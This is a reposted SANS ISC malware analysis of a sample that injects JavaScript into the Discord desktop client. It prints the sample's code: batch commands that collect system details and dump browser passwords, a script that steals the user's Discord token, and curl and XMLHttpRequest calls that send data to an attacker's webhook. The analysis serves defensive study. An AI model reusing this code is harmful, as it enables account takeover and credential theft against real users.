Blog

Archive for July 24th, 2020

Compromized Desktop Applications by Web Technologies, (Fri, Jul 24th)

For a long time now, it has been said that “the new operating system is the browser”. Today, we do everything in our browsers, we connect to the office, we process emails, documents, we chat, we perform our system maintenances, … But many popular web applications provide also a desktop client: Twitter, Facebook, Slack are good examples. Such applications just replace the classic browser and use the API’s to interact with the official website. Most applications are developed in a compiled language and are deployed as regular executable files. Others rely on web technologies or have a modular architecture that helps to add features via a system of plugins or modules.

Discord[1] is such a popular app. Let’s have a look at the installation on standard Windows computer:

You can see that the application makes use of classic web technologies. There is a bunch of JavaScript files installed in %APPDATA%Discord. Some malware samples have already been reported to infect Discord application but I never found one. Yesterday, my hunting rules caught a sample!

The malware uses the Discord API to exfiltrate data about the victim:

curl -X POST 
     -H "Content-type: application/json" 
     --data "{"content": "**Inject Activated : BaBy#9360**"}" 
     https://discordapp.com/api/webhooks/734661140985937930/k121Yri3K0estmzWefx3vuOs2jYSE96T102KioF1-nlGYgSpF9ihNHIuwjBW-ibGccEr

Some information about the victim’s computer is collected:

curl "https://myexternalip.com/raw">>C:tempip_address.txt
for /f "delims=" %%q in (C:tempip_address.txt) do set IP=%%q
for /f "delims=" %%x in (C:tempWindowsInfo.txt) do set WindowsInfo=%%x
start C:/temp/WebBrowserPassView.exe /stext C:/temp/Passwords.txt
systeminfo | findstr /c:"Host Name">>C:tempSystem_INFO.txt
systeminfo | findstr /c:"Domain">>C:tempSystem_INFO.txt 
systeminfo | findstr /c:"OS Name">>C:tempSystem_INFO.txt 
systeminfo | findstr /c:"OS Version">>C:tempSystem_INFO.txt 
systeminfo | findstr /c:"System Manufacturer">>C:tempSystem_INFO.txt
systeminfo | findstr /c:"System Model">>C:tempSystem_INFO.txt 
systeminfo | findstr /c:"System type">>C:tempSystem_INFO.txt 
systeminfo | findstr /c:"Total Physical Memory">>C:tempSystem_INFO.txt
echo Hard Drive Space:>>C:tempSystem_INFO.txt
wmic diskdrive get size>>C:tempSystem_INFO.txt
echo. 
echo.
echo Service Tag:>>C:tempSystem_INFO.txt
wmic bios get serialnumber>>C:tempSystem_INFO.txt
echo. 
echo. 
echo CPU:>>C:tempSystem_INFO.txt
wmic cpu get name>>C:tempSystem_INFO.txt

The most important part is the next one. The Discord client is modified by injecting a malicious piece of JavaScript code:

set str=var X = window.localStorage = document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage;var V = JSON.stringify(X);var L = V;var C = JSON.parse(L);var strtoken = C["token"];var O = new XMLHttpRequest();O.open('POST', 'https://discordapp.com/api/webhooks/734661140985937930/k121Yri3K0estmzWefx3vuOs2jYSE96T102KioF1-nlGYgSpF9ihNHIuwjBW-ibGccEr', false);O.setRequestHeader('Content-Type', 'application/json');O.send('{"content": ' + strtoken + '}')

...

set "discord=%appdata%discord.0.306modulesdiscord_voiceindex.js"
set "discordcanary=%appdata%discordcanary.0.266modulesdiscord_voiceindex.js"
set "discordptb=%appdata%discordptb.0.52modulesdiscord_voiceindex.js"
if not exist %discord% goto CANARY
echo %str% >> "%appdata%discord.0.306modulesdiscord_voiceindex.js"
GOTO CANARY
:CANARY
if not exist %discordcanary% goto PTB
echo %str% >> "%appdata%discordcanary.0.266modulesdiscord_voiceindex.js"
GOTO PTB
:PTB
if not exist %discordptb% goto SEND2
echo %str% >> "%appdata%discordptb.0.52modulesdiscord_voiceindex.js"
GOTO SEND2
:SEND2

The variable %str% contains a JavaScript code that exfiltrates the current user’s token. All data are posted on a Discord channel controlled by the attacker. This technique allows him to use the victim’s Discord account.

This is interesting to see how Discord is the target but also the C2 communication channel…

[1] https://discord.com/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →